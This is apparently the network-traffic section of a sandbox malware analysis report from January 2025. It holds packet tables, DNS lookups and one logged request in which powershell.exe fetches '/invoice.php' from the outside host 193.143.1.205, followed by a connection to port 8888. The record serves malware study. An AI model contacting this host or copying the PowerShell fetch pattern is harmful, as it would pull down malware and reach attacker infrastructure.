Jan 11, 2025 03:36:32.838852882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838865042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838877916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.838886976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838907003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.838922977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.844959974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.844969988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.844980955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845041037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845050097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.845052958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845063925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845088959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.845103025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845107079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.845175982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845185041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845216036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.845257998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845268965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845300913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.845443010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845453978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845464945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.845484018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.845510960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.846349955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846359015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846371889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846410990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.846453905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846493006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.846524000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846534967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846544981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846554995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.846565008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.846596003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.876065969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.876106977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.876116991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.876203060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.876223087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.876239061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.876250029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.876274109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.876307011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.876380920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896325111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896338940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896349907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896457911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896493912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896505117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896517038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896578074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896672010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896682978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896684885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896684885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896684885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896693945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896703959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896714926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896723032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896728039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896739006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896771908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.896966934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.896975994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.897023916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.905951977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.905967951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.905980110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.906044006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.906054020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.906061888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.906064987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.906075954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.906095982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.906115055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926048040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926076889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926086903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926131010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926141977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926217079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926237106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926248074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926255941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926290989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926445007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926455021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926462889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926472902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926481009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926490068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926491976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926508904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926531076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926552057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926562071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926593065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926656961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926667929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926676989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926687956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926716089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926738977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.926954031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926965952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926975012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926984072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.926992893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927001953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927012920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927021980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927022934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927031994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927042961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927057981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927069902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927088022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927242041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927397013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927407026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927423000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927432060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927440882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927444935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927450895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927460909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927463055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927470922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927480936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927489996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927495003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927500010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927514076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927519083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927540064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927937984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927949905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927958965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927968979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927978992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.927983046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.927989960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928002119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928011894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928018093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928023100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928031921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928035975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928042889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928052902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928057909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928066015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928076982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928114891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928417921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928427935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928437948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928447962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928472996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928503990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928555965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928663969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928673983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928683996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928694010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928704023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928704023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928714037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928728104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928730011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928740978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928750038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928759098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928760052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928770065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928780079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928780079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928790092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.928803921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928823948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.928842068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935390949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935425043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935434103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935468912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935538054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935549974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935587883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935607910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935648918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935678005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935697079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935739994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935832977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935844898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935858965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935867071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935880899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935923100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.935961008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.935971975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.936017036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.936086893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.936098099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.936135054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.936827898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.936872959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.936883926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.936933994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.937064886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.937076092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.937110901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.937139988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.937150955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:32.937186003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:32.977978945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.398261070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.398339987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.653501034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.658483982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.658543110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.658555984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.658602953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.659390926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664232016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664264917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664277077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664284945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664320946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664377928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664448023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664459944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664470911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664483070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664488077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664515018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664733887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664747000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664757967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664768934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664779902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664781094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664793015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.664800882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.664840937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665088892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665101051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665111065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665122986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665133953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665134907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665144920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665155888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665163040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665168047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665179014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665189981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665193081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665201902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665211916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665213108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665224075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665231943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665252924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665266037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665656090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665668011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665678024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665688992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665699005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665708065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665709972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665721893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665729046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665731907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665745020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:33.665766001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:33.665791035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.092751980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.096932888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.327781916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.737741947 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.742698908 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:34.742796898 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.742974043 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:34.747806072 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:35.519037008 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:36:35.571690083 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 03:36:36.950122118 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:36:47.692249060 CET	49334	53	192.168.2.8	1.1.1.1
Jan 11, 2025 03:36:59.845248938 CET	61733	53	192.168.2.8	1.1.1.1
Jan 11, 2025 03:37:13.813555956 CET	53278	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:36:47.692249060 CET	192.168.2.8	1.1.1.1	0x58c8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:36:59.845248938 CET	192.168.2.8	1.1.1.1	0x637a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:37:13.813555956 CET	192.168.2.8	1.1.1.1	0x57a7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:36:46.796442986 CET	1.1.1.1	192.168.2.8	0xc6e0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:36:46.796442986 CET	1.1.1.1	192.168.2.8	0xc6e0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:36:47.699527025 CET	1.1.1.1	192.168.2.8	0x58c8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:36:59.853733063 CET	1.1.1.1	192.168.2.8	0x637a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:37:13.821145058 CET	1.1.1.1	192.168.2.8	0x57a7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:37:49.326617002 CET	1.1.1.1	192.168.2.8	0x569e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:37:49.326617002 CET	1.1.1.1	192.168.2.8	0x569e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	5868	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:36:31.423232079 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
